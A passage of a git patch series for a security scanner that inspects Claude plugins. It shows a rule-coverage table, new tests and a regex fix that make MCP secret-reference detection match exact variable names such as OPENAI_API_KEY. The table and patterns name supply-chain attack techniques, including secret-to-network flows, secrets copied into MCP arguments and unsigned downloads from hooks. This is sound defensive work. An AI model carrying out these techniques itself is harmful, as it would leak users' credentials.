| this successor | implements regression lock on existing `_scan_file` rules, including LifeOS #247 test-title/authority wording | -| Claude plugin supply chain | SAST | #1099 | this successor | implements `claude-plugin-*` findings including unsigned executable downloads from hooks and package.json lifecycle scripts, unpinned package URL installs, GitHub write tokens, Docker socket binds, host browser-profile stores, deceptive plugin/skill/command descriptions, non-standard JSON constants, malformed UTF-8 JSON bytes, non-NFC identity names, undeclared vendored or generated code scope, conflicting plugin/skill/command identities, secret-to-network flows, secret-to-prompt, log, or subprocess-env copies, and secrets copied into MCP env/args, reuses released #1036 skill-supply-chain rule identities on plugin skill/agent surfaces, capability inventory evidence, undeclared-executable admission, LICENSE/NOTICE SPDX mismatch, dynamic eval/exec on hook surfaces, hidden undeclared executable/config surfaces, a secret-free scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, and fail-closed stale/mismatched receipt verification | +| Claude plugin supply chain | SAST | #1099 | this successor | implements `claude-plugin-*` findings including unsigned executable downloads from hooks and package.json lifecycle scripts, unpinned package URL installs, GitHub write tokens, Docker socket binds, host browser-profile stores, deceptive plugin/skill/command descriptions, non-standard JSON constants, malformed UTF-8 JSON bytes, non-NFC identity names, undeclared vendored or generated code scope, conflicting plugin/skill/command identities, secret-to-network flows, secret-to-prompt, log, or subprocess-env copies, and secrets copied into MCP env/args/command/URL/headers, reuses released #1036 skill-supply-chain rule identities on plugin skill/agent surfaces, capability inventory evidence, undeclared-executable admission, LICENSE/NOTICE SPDX mismatch, dynamic eval/exec on hook surfaces, hidden undeclared executable/config surfaces, a secret-free scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, and fail-closed stale/mismatched receipt verification | | Orphaned Actions workflows | DAST | #929 | PR #966 / issue #929 | maps only | | Org CI failure without evidence | non-detectable | 353 tickets | inventory snapshot | maps only | | UX / control-plane product gaps | non-detectable | #871, #928 | out of SAST/DAST scope | maps only | From 1684a4c1b5518fd85e8520f8558fe631864035ad Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 20:04:19 +0900 Subject: [PATCH 7/8] test(scanner): reject secret-name prefix false positives --- ...lugin_secret_to_mcp_reference_precision.py | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 tests/test_claude_plugin_secret_to_mcp_reference_precision.py diff --git a/tests/test_claude_plugin_secret_to_mcp_reference_precision.py b/tests/test_claude_plugin_secret_to_mcp_reference_precision.py new file mode 100644 index 00000000..1fb1f24f --- /dev/null +++ b/tests/test_claude_plugin_secret_to_mcp_reference_precision.py @@ -0,0 +1,54 @@ +"""MCP secret references must match exact named variables, not prefixes.""" + +from __future__ import annotations + +import json + +from appguardrail_core.claude_plugin_detector import inspect_claude_plugin_file + + +_PINNED_COMMIT = "a727be1c7bd6064419b6f60d71993a19198adc17" +_MCP_SECRET_RULE = "claude-plugin-secret-to-mcp" + + +def _bounded_mcp(*, args: list[str] | None = None, command: str = "python") -> dict: + """Return one bounded stdio MCP declaration for reference-precision tests.""" + server: dict = { + "command": command, + "schema": {"type": "object"}, + "source": {"sha": _PINNED_COMMIT}, + } + if args is not None: + server["args"] = args + return {"mcpServers": {"local": server}} + + +def _rule_ids(payload: dict) -> set[str]: + """Return rule identities emitted for one MCP manifest payload.""" + body = json.dumps(payload, indent=2) + return { + hit.rule_id + for hit in inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + } + + +def test_mcp_arg_secret_name_prefix_variable_is_not_a_secret_reference() -> None: + """``$OPENAI_API_KEY_DOCUMENTATION`` must not alias ``OPENAI_API_KEY``.""" + rule_ids = _rule_ids( + _bounded_mcp(args=["--label", "$OPENAI_API_KEY_DOCUMENTATION"]) + ) + assert _MCP_SECRET_RULE not in rule_ids + + +def test_mcp_command_braced_secret_name_prefix_is_not_a_secret_reference() -> None: + """A longer braced variable name must not be truncated to a secret name.""" + rule_ids = _rule_ids( + _bounded_mcp(command="python ${OPENAI_API_KEY_DOCUMENTATION}") + ) + assert _MCP_SECRET_RULE not in rule_ids + + +def test_mcp_exact_braced_default_expansion_remains_a_secret_reference() -> None: + """Shell default expansion of the exact secret remains fail-closed.""" + rule_ids = _rule_ids(_bounded_mcp(args=["--token", "${OPENAI_API_KEY:-}"])) + assert _MCP_SECRET_RULE in rule_ids From 975e6c38ca8fe4be914845a2e00c291a033998e3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 20:06:58 +0900 Subject: [PATCH 8/8] fix(scanner): require exact MCP secret variable names --- appguardrail_core/claude_plugin_detector.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/appguardrail_core/claude_plugin_detector.py b/appguardrail_core/claude_plugin_detector.py index 234db45d..f9db0c86 100644 --- a/appguardrail_core/claude_plugin_detector.py +++ b/appguardrail_core/claude_plugin_detector.py @@ -263,9 +263,12 @@ ) _NAMED_SECRET_TOKEN = re.compile(_NAMED_SECRET_NAMES, re.IGNORECASE) _SECRET_REF = re.compile( - r"(?:\$(?:\{)?" + r"(?:\$(?:" + _NAMED_SECRET_NAMES - + r"(?:\})?|" + + r")(?![A-Za-z0-9_])|" + r"\$\{(?:" + + _NAMED_SECRET_NAMES + + r")(?:\:-[^}]*)?\}|" r"os\.environ\s*\[\s*['\"](?:" + _NAMED_SECRET_NAMES + r")['\"]\s*\]|"